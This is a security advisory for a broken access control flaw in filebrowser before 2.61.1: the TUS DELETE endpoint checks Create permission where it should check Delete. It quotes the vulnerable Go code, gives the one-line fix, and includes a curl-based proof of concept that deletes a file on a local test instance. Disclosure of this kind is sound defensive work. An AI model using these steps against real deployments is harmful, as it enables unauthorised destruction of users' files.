| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/filebrowser/filebrowser | all versions | |
| github.com/filebrowser/filebrowser/v2 | < 2.61.1 | 2.61.1 |
| filebrowser | < 2.61.1 | 2.61.1 |
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked
return http.StatusForbidden, nil
}
// ...
err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted
The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission
return http.StatusForbidden, nil
}
This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {
# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init
# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
--perm.create=true \
--perm.delete=false
# Start server
./filebrowser &
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeTOKEN=$(curl -s -X POST localhost:8080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"SuperSecurePassword1234"}')
# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 403
# Initiate a TUS upload to register the file in the upload cache
curl -s -X POST "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: 18" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 201
# Now delete via the TUS endpoint - Perm.Delete is NOT checked
curl -s -X DELETE "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false
Observed results:
DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced )
DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )
This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.